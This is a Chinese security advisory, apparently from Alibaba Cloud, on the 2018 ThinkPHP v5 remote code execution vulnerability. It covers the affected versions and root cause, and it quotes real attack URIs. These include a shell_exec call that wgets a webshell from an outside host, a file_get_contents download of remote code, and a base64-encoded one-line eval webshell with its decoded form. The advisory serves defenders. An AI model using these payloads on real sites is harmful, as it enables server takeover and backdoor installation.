威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

栏目: PHP · 发布时间: 5年前

内容简介:2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程

前言

2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。

概述

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

漏洞影响的版本

ThinkPHP v5.0系列 < 5.0.23
ThinkPHP v5.1系列 < 5.1.31

漏洞原理分析

通过对比ThinkPHP官方发布的漏洞修复说明,直接分析thinkphp解析路由调度的代码 /thinkphp/library/think/Route.php

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

parseUrlPath函数调用path函数并解析了pathinfo中的路由信息,函数中url直接用/切分,没有加任何过滤机制。

搜索pathinfo发现//thinkphp/library/think/Request.php 定义了获取URL的pathionfo函数:

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

我们可以利用$_GET可控的值来进行命令注入。var_pathinfo的参数为s,所以可以直接构造命令注入的函数。

继续分析路由调度的代码app.php,通过’controller’ 来执行控制器操作,实例化控制器,跟进controller方法:

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

//thinkphp/library/think/ Loader.php中,controller调用parseModuleAndClass方法,直接解析$name,实例化$class,当$name匹配 反斜线\时直接将其作为方法和类 strpos($name, ‘\\’) ,我们可以在这里构造实例化我们想要调用的方法。实例化\namespace\class类并执行call_user_func_array方法。

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

漏洞复现:

我们拿存在ThinkPHP v5远程代码执行漏洞的5.0.22版本进行复现测试。下图是我们在存在该漏洞的主机上执行ls命令,可以拿到目录下的所有文件详情。

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

漏洞攻击真实案例

截至2018年12月11日,阿里云态势感知监控到的数据显示,黑客们利用该漏洞进行攻击的方式有很多,目前主要是以webshell为主,可能由于曝光PoC时间太短,很多黑产(如挖矿)都还没充分利用。对目前所有的webshell方式总结后,比较流行的有以下几种:

1. 利用该漏洞远程执行下载命令,通过wget远程下载一个webshell后门,执行命令从而获得服务器权限。

其攻击URI详情如下:

"/admin.php?s=admin/think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt "

通过执行wget命令: wget -O help.php http://tzrj.host.smartgslb.com/help.php.txt ,下载webshell。

下面是该webshell所具有的功能列表,如下图:

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

2. 利用file_get_contents和file_put_contents函数,远程下载webshell。

其攻击的URI详情如下:

"/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('<a href="http://jzy1115.host3v.vip">http://jzy1115.host3v.vip</a>'));"

该webshell所具备的功能详细如下图:

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

3. 利用file_put_contents函数 写入一句话webshell,其攻击的URI详情如下:

"/admin.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))"

该命令行包含的base64加密字符串解码如下:

"<?php $pass=$_POST['360very'];eval($pass);?>"

该恶意代码将被写入到文件./vendor/autoclass.php中。

漏洞影响和攻击趋势

通过对网站信息数据的统计,我们发现存在该漏洞的的网站占比约10%左右。而从阿里云态势感知监控到的数据显示,从2018-12-04开始至2018-12-11,被攻击的网站数据暴增。以我们和漏洞利用攻击对抗的经验来看,该漏洞的利用攻击会出现更多变种,各个企业应尽快升级ThinkPHP的代码框架至最新版本,避免自己的网站被攻破,服务器沦陷为肉鸡。

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光

下面是被攻击网站数量变化趋势,可看出该漏洞被曝光后迅速被大规模自动化利用。

威胁预警 | ThinkPHP v5新漏洞攻击案例首曝光


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

软件测试的艺术

软件测试的艺术

梅尔斯 / 机械工业出版社 / 2006年01月 / 22.0

《软件测试的艺术》(原书第2版)成功、有效地进行软件测试的实用策略和技术:    基本的测试原理和策略      验收测试    程序检查和走查         安装测试    代码检查            模块(单元)测试    错误列表            测试规划与控制    同行评分            独立测试机构    黑盒、白盒测试    ......一起来看看 《软件测试的艺术》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

在线进制转换器
在线进制转换器

各进制数互转换器

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码